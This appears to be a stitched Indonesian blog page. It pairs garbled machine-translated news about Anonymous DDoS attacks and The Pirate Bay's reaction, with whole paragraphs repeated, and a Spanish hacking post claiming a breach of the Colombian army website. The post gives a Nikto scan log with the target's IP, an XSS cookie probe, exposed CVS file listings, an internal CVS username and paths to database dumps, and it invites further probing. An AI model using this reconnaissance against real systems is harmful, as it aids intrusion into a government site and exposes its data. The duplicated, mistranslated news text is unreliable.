Ini bukan pertama kalinya, sebelum ini Wikileaks telah menghadapi serangan cyber dan anggota Anonim mengambil tanggung jawab itu Serangan terhadap situs Wikileaks. Waktu itu penyerang melaksanakan Denial of Service besar saat menggunakan alat baru dikembangkan # refref. Dalam sebuah laporan ekslusif oleh Corero Jaringan keamanan mengatakan serangan terhadap situs Wikileaks adalah salah satu serangan DDoS terbesar yang pernah terjadi pada tahun 2011. Tapi tetap tidak jelas apakah ada hubungan antara dua insiden.
Source : Ibhh
The Pirate Bay Criticize Anonymous DDoS Attack on Virgin Media
Sebelumnya pada bulan ini Pengadilan Tinggi telah memutuskan untuk memblokir The Pirate Bay di Inggris Dalam penyangkalan hacker tindakan Anonim kolektif besar-besaran dilakukan serangan layanan yang ditargetkan Virgin Media - salah satu ISP yang segera diikuti urutan Pengadilan dan diblokir Pirate Bay. Dikatakan bahwa penolakan serangan layanan hanyalah gayung bersambut sebagai Virgin Media adalah ISP 1 yang langsung mengikuti urutan Pengadilan Tinggi sambil mengatakan-"Sebagai ISP yang bertanggung jawab, Virgin Media mematuhi perintah pengadilan yang ditujukan kepada perusahaan tetapi sangat percaya bahwa perubahan perilaku konsumen untuk mengatasi pelanggaran hak cipta juga membutuhkan alternatif hukum yang menarik, seperti kesepakatan kami dengan Spotify, untuk memberikan konsumen akses ke konten yang besar dengan harga yang tepat. "Dan ini membuat Anonim marah dengan Virgin dan sebagai hasilnya mereka mengirim Virgin Media offline untuk waktu tertentu.
Tapi inilah twist dan itu adalah The Pirate Bay telah mengecam kampanye DDoS Anonim bahwa menurunkan Virgin Media, menyebutnya sebuah "jelek" metode itu tidak lebih baik dari perintah pengadilan Inggris untuk ISP untuk memblokir pengguna dari mendapatkan ke The Pirate Bay.
Dalam pernyataan resmi mereka TPB mengatakan - "Sepertinya beberapa kelompok Anonim acak telah menjalankan kampanye DDOS terhadap Virgin media dan beberapa situs lain Kami ingin jelas tentang pandangan kita tentang ini:.
Kami TIDAK mendorong tindakan ini. Kami percaya pada Internets terbuka dan bebas, di mana setiap orang dapat mengekspresikan pandangan mereka. Bahkan jika kita sangat tidak setuju dengan mereka dan bahkan jika mereka membenci kita. Jadi jangan melawan mereka menggunakan metode jelek mereka. DDOS dan blok kedua bentuk sensor.
Jika Anda ingin membantu; mulai tracker, mengatur manifestasi, bergabung atau memulai pesta bajak laut, mengajarkan teman seni bittorrent, mengatur proxy, tulis perwakilan politik Anda, mengembangkan protokol P2P baru, mencetak beberapa poster pembajakan pro dan menghiasi kota Anda dengan, mendukung seniman promo kami teluk atau hanya menjadi orang baik dan memberikan ibumu panggilan untuk memberitahu dia bahwa kamu mencintainya. "
Sejauh DDoS Anonim pergi, Virgin Media mengeluarkan pernyataan yang mengatakan, serangan itu berlangsung satu jam. Virgin Media juga menegaskan bahwa mereka tidak memiliki pilihan untuk memblokir The Pirate Bay, melainkan, pemerintah terpaksa tangannya.
Tapi inilah twist dan itu adalah The Pirate Bay telah mengecam kampanye DDoS Anonim bahwa menurunkan Virgin Media, menyebutnya sebuah "jelek" metode itu tidak lebih baik dari perintah pengadilan Inggris untuk ISP untuk memblokir pengguna dari mendapatkan ke The Pirate Bay.
Dalam pernyataan resmi mereka TPB mengatakan - "Sepertinya beberapa kelompok Anonim acak telah menjalankan kampanye DDOS terhadap Virgin media dan beberapa situs lain Kami ingin jelas tentang pandangan kita tentang ini:.
Kami TIDAK mendorong tindakan ini. Kami percaya pada Internets terbuka dan bebas, di mana setiap orang dapat mengekspresikan pandangan mereka. Bahkan jika kita sangat tidak setuju dengan mereka dan bahkan jika mereka membenci kita. Jadi jangan melawan mereka menggunakan metode jelek mereka. DDOS dan blok kedua bentuk sensor.
Jika Anda ingin membantu; mulai tracker, mengatur manifestasi, bergabung atau memulai pesta bajak laut, mengajarkan teman seni bittorrent, mengatur proxy, tulis perwakilan politik Anda, mengembangkan protokol P2P baru, mencetak beberapa poster pembajakan pro dan menghiasi kota Anda dengan, mendukung seniman promo kami teluk atau hanya menjadi orang baik dan memberikan ibumu panggilan untuk memberitahu dia bahwa kamu mencintainya. "
Sejauh DDoS Anonim pergi, Virgin Media mengeluarkan pernyataan yang mengatakan, serangan itu berlangsung satu jam. Virgin Media juga menegaskan bahwa mereka tidak memiliki pilihan untuk memblokir The Pirate Bay, melainkan, pemerintah terpaksa tangannya.
Source : -NS
hacked .ejercito.mil.co---->blacksystem
- *************************
- team hacker blacksystem
- **************************
- target:www.ejercito.mil.co
- Nikto v2.03/2.04
- ---------------------------------------------------------------------------
- + Target IP: 201.234.71.183
- + Target Hostname: www.ejercito.mil.co
- + Target Port: 80
- + Start Time: 2009-06-25 8:11:08
- ---------------------------------------------------------------------------
- + Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8i
- - /robots.txt - contains 4 'disallow' entries which should be manually viewed. (
- GET)
- + OSVDB-0: ETag header found on server, inode: 2105479, size: 92, mtime: 0x460a0?
- b1bf9800
- + mod_ssl/2.2.10 appears to be outdated (current is at least 2.8.31) (may depend
- on server version)
- + mod_ssl/2.2.10 OpenSSL/0.9.8i - mod_ssl 2.8.7 and lower are vulnerable to a re
- mote buffer overflow which may allow a remote shell (difficult to exploit). http
- ://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0082.
- + OSVDB-0: GET /CVS/Entries : CVS Entries file may contain directory listing inf
- ormation.
- + OSVDB-0: GET /index.php?module=My_eGallery? : My_eGallery? prior to 3.1.1.g are
- vulnerable to a remote execution bug via SQL command injection.
- + OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. Se
- e http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
- + OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. Se
- e http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
- + OSVDB-3092: GET /tools/ : This might be interesting...
- + OSVDB-3093: GET /index.php?base=test%20 : This might be interesting... has bee
- n seen in web logs from an unknown scanner.
- + OSVDB-3093: GET /index.php?IDAdmin=test : This might be interesting... has bee
- n seen in web logs from an unknown scanner.
- + OSVDB-3093: GET /index.php?pymembs=admin : This might be interesting... has be
- en seen in web logs from an unknown scanner.
- + OSVDB-3093: GET /index.php?SqlQuery?=test%20 : This might be interesting... has
- been seen in web logs from an unknown scanner.
- + OSVDB-3093: GET /index.php?tampon=test%20 : This might be interesting... has b
- een seen in web logs from an unknown scanner.
- + OSVDB-3093: GET /index.php?topic=&lt;script&gt;alert(document.cookie)&
- amp;lt;/script&gt;%20 : This might be interesting... has been seen in web lo
- gs from an unknown scanner.
- + 3577 items checked: 14 item(s) reported on remote host
- + End Time: 2009-06-25 8:16:08 (324 seconds)
- ---------------------------------------------------------------------------
- + 1 host(s) tested
- Test Options: -host www.ejercito.mil.co
- ---------------------------------------------------------------------------
- ----
- la dirección http://www.ejercito.mil.co//CVS/Entries responde
- D/cache////
- D/documentacion////
- D/js////
- D/recursos_user////
- D/tools////
- D/_administracion////
- D/_config////
- D/_crontab////
- D/_db////
- D/_editor////
- D/_include////
- D/_interfaz////
- D/_lib////
- D/_templates////
- D/_templates_boletin////
- /.htaccess/1.1/Fri Nov 11 19:34:16 2005//
- /.project/1.1/Thu Sep 14 16:07:03 2006//
- /giveprivileges/1.1/Thu Jun 22 14:50:53 2006//
- /index.php/1.1/Wed Nov 29 13:52:41 2006//
- /info.php/1.1/Tue Feb 28 19:43:19 2006//
- /robots.txt/1.1/Tue Aug 16 16:54:52 2005//
- /contenido.xml/1.2/Thu Dec 14 00:07:15 2006//
- /BannerNavidad?.jpg/1.1/Thu Dec 14 22:01:17 2006/-kb/
- /foto_noticias.swf/1.1/Wed Dec 20 20:41:50 2006/-kb/
- /foto_noticias_ingles.swf/1.1/Wed Dec 20 20:20:16 2006/-kb/
- D/recursos_foto_noticia////
- http://www.ejercito.mil.co/giveprivileges es
- #/bin/sh
- chmod 777 -R _administracion/templates_c/ cache/ _templates/Default/templates_c/
- http://www.ejercito.mil.co//CVS/Root es
- :pserver:aforero@linuxserver:2401/home/cvs
- http://www.ejercito.mil.co//CVS/Repository es
- ejercito2007
- Revisando otros CVS/Entries de otros directorios:
- http://www.ejercito.mil.co/documentacion/CVS/Entries
- D/bd////
- http://www.ejercito.mil.co/documentacion/bd/CVS/Entries
- D/MSSQL////
- D/MySQL////
- D/Oracle////
- D/PostgreSQL////
- /bd16-11-2005?.dds/1.1/Wed Jan 11 17:51:06 2006/-kb/
- /bdmysql-25-07-2006.sql/1.1/Fri Oct 6 15:33:04 2006//
- /delbdmysql.sql/1.1/Fri Oct 6 15:30:23 2006//
- y así puede continuarse examinando la estructura del CMS, conociendo los nombres de los archivos pueden revisarse y algunos revelan más información por ejemplo: http://www.ejercito.mil.co/documentacion/bd/bdmysql-25-07-2006.sql
Langganan:
Postingan (Atom)

